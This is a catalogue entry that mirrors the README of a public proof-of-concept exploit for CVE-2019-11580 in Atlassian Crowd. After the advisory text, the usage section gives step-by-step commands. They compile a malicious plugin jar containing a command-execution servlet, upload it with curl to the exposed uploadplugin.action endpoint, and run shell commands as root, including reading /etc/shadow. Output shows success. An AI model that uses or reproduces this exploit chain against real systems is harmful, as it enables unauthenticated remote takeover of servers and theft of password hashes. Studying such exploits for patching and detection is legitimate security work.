CVE-2019-11580 PoC — Atlassian Crowd和Atlassian Crowd Data Center 输入验证错误漏洞

Source

https://github.com/jas502n/CVE-2019-11580

Associated Vulnerability

Title:Atlassian Crowd和Atlassian Crowd Data Center 输入验证错误漏洞 (CVE-2019-11580)
Description:Atlassian Crowd and Crowd Data Center had the pdkinstall development plugin incorrectly enabled in release builds. Attackers who can send unauthenticated or authenticated requests to a Crowd or Crowd Data Center instance can exploit this vulnerability to install arbitrary plugins, which permits remote code execution on systems running a vulnerable version of Crowd or Crowd Data Center. All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x), from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x), from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x), from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x), and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.

Description

CVE-2019-11580 Atlassian Crowd and Crowd Data Center RCE

Readme

# CVE-2019-11580
## Atlassian Crowd and Crowd Data Center RCE

## Usage:
`python CVE-2019-11580.py http://xx.xx.xx.xx/`

![](./CVE-2019-11580.jpg)

#### Crowd-2.11.0 Vuln_Version Donwload
`https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-2.11.0.tar.gz`

` Powered by Atlassian Crowd Version: 2.11.0 (Build:#725 - 2017-01-11)`

![](./crowd.jpg)

`http://10.10.20.166:8095/crowd/admin/uploadplugin.action`

![](./uploadplugin.jpg)

`http://10.10.20.166:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow`

![](./getshell_success.jpg)



### 0x01 compile for rce.jar
`javac -cp servlet-api.jar com/cdl/shell/exp.java`

`zip -r rce.jar atlassian-plugin.xml ./com`

```
./compile.sh
updating: atlassian-plugin.xml (deflated 54%)
updating: com/ (stored 0%)
updating: com/cdl/ (stored 0%)
updating: com/cdl/shell/ (stored 0%)
updating: com/cdl/shell/exp.java (deflated 59%)
updating: com/cdl/shell/exp.class (deflated 45%)

```
### 0x02 upload rce.jar to crowd/admin/uploadplugin.action
```
curl -k -H "Content-Type: multipart/mixed" \
  --form "file_cdl=@rce.jar" http://10.10.20.166:8095/crowd/admin/uploadplugin.action
  
Installed plugin /opt/atlassian/crowd/apache-tomcat/temp/plugindev-1059463178748466378rce.jar

```

### 0x03 get shell

```
curl "http://10.10.20.166:8095/crowd/plugins/servlet/exp?cmd=whoami"
>>> root

curl "http://10.10.20.166:8095/crowd/plugins/servlet/exp?cmd=id"
>>> uid=0(root) gid=0(root) groups=0(root)

```

##### 自定义cmd值：

```
https://github.com/lc/research/blob/master/CVE-2019-11580/atlassian-shell/com/cdl/shell/Cdl.java
思路参考: https://www.t00ls.net/articles-51978.html
原代码String cmd="whoami";
修改为String cmd=String.valueOf(req.getParameter("cmd"));

```

### vuln version
```
Affected Versions

Fixed Version

2.1.0, 2.1.1, 2.1.2, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.2.4, 2.2.5, 2.2.6, 2.2.7, 2.2.8, 2.2.9, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.3.5, 2.3.6, 2.3.7, 2.3.8, 2.3.9, 2.3.10, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.5.0, 2.5.1, 2.5.2, 2.5.3, 2.5.4, 2.5.5, 2.5.6, 2.5.7, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.7.0, 2.7.1, 2.7.2, 2.8.0, 2.8.1, 2.8.2, 2.8.3, 2.8.4, 2.8.6, 2.8.7, 2.8.8, 2.9.1, 2.9.2, 2.9.3, 2.9.4, 2.9.5, 2.9.6, 2.9.7, 2.10.1, 2.10.2, 2.10.3, 2.10.4, 2.11.0, 2.11.1, 2.11.2, 2.12.0, 2.12.1, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4

3.0.5

3.1.0, 3.1.1, 3.1.2, 3.1.3, 3.1.4, 3.1.5

3.1.6

3.2.0, 3.2.1, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7

3.2.8

3.3.0, 3.3.1, 3.3.2, 3.3.3, 3.3.4

3.3.5

3.4.0, 3.4.1, 3.4.2, 3.4.3

3.4.4
```

### 参考链接

```
https://www.t00ls.net/articles-51978.html
https://www.corben.io/atlassian-crowd-rce/
https://github.com/lc/research/tree/master/CVE-2019-11580/atlassian-shell
```

File Snapshot


 [4.0K]  /data/pocs/db541bda6c138270b8c16528b32cfd26486ddbfc
├── [4.0K]  atlassian-shell
│   ├── [ 516]  atlassian-plugin.xml
│   ├── [4.0K]  com
│   │   └── [4.0K]  cdl
│   │       └── [4.0K]  shell
│   │           └── [ 909]  exp.java
│   ├── [  91]  compile.sh
│   ├── [5.4K]  rce.jar
│   └── [238K]  servlet-api.jar
├── [175K]  crowd.jpg
├── [175K]  CVE-2019-11580.jpg
├── [ 13K]  CVE-2019-11580.py
├── [446K]  getshell_success.jpg
├── [2.7K]  README.md
└── [121K]  uploadplugin.jpg

4 directories, 11 files

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